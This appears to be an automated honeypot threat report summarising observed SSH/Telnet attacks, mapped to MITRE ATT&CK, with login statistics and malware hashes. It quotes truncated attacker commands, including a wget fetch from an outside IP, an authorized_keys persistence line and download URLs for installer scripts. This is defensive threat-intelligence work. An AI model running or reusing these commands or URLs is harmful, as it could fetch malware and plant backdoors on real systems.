SSH/Telnet Honeypot — Threat Report

Observed attacker behaviour against an internet-exposed Cowrie honeypot, mapped to MITRE ATT&CK.
Generated 2026-08-11 03:04 UTC Static snapshot Cowrie 3.x
627
Sessions
576
Login attempts
15
Unique attacker IPs
131
Commands run
9
Malware downloads
13
ATT&CK techniques

MITRE ATT&CK Coverage

13 technique(s) across 8 tactic(s). Download the ATT&CK Navigator layer and open it at attack-navigator.

Initial Access 16

16xT1078
Valid Accounts
uname -a / exit

Execution 3

3xT1059.004
Command and Scripting Interpreter: Unix Shell
#!/bin/bash set -e # ========================================== # 1.

Persistence 4

2xT1037
Boot or Logon Initialization Scripts
#!/bin/bash set -e # ========================================== # 1.
2xT1098.004
Account Manipulation: SSH Authorized Keys
mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-ed25519

Defense Evasion 39

38xT1222.002
File and Directory Permissions Modification: Linux and Mac
/bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 77
1xT1070.004
Indicator Removal: File Deletion
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/b

Credential Access 560

560xT1110.001
Brute Force: Password Guessing
root / 123456

Discovery 13

5xT1082
System Information Discovery
uname -s -v -n -r -m
3xT1033
System Owner/User Discovery
(wget http://77.90.185.66/wget -O- || busybox wget http://77.90.185.66
3xT1057
Process Discovery
/bin/busybox ps; /bin/busybox ECCHI
2xT1083
File and Directory Discovery
#!/bin/bash set -e # ========================================== # 1.

Command and Control 19

19xT1105
Ingress Tool Transfer
(wget http://77.90.185.66/wget -O- || busybox wget http://77.90.185.66

Impact 2

2xT1489
Service Stop
#!/bin/bash set -e # ========================================== # 1.

Attack Volume

Top source IPs

91.92.42.5250080.94.92.2344377.90.185.666140.245.50.2045108.203.169.204129.153.145.13545.235.208.190267.68.164.632170.254.248.2052177.55.139.1412

Most-tried usernames

root143admin34ubuntu17user12deploy11test9openclaw6pi5admin15developer5

Most-tried passwords

1234564612342512323root2211412345131234567812admin11password111111118

Most-run commands

/bin/busybox16/bin/busybox ECCHI9sh7enable4system4shell4linuxshell4enablelinuxshell4ping ;sh4busybox4cd /proc && cat self/cmd4/bin/busybox ps; /bin/bu3

Malware Retrieved

URLSHA-256
4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62
http://77.90.185.66/wgete4e6d77040f6a91d42292fe7b8fbf9e6ca5722c940097e21a345d03b522af43d
https://del.sou.pp.ua/install.shd3eb882d32f38c23b5a08fd4b50e71713f6c028728eb859ac1eca421f1b10069
https://del.sou.pp.ua/install_tm.sh8db103466c032c12d0b945bc1f86e62039f9b2f44779c7450eac9e52251fcd62

Commands Executed by Attackers

CountCommandMapped technique(s)
16/bin/busybox—
9/bin/busybox ECCHI—
7sh—
4enable—
4system—
4shell—
4linuxshell—
4enablelinuxshell—
4ping ;sh—
4busybox—
4cd /proc && cat self/cmdline—
3/bin/busybox ps; /bin/busybox ECCHIT1057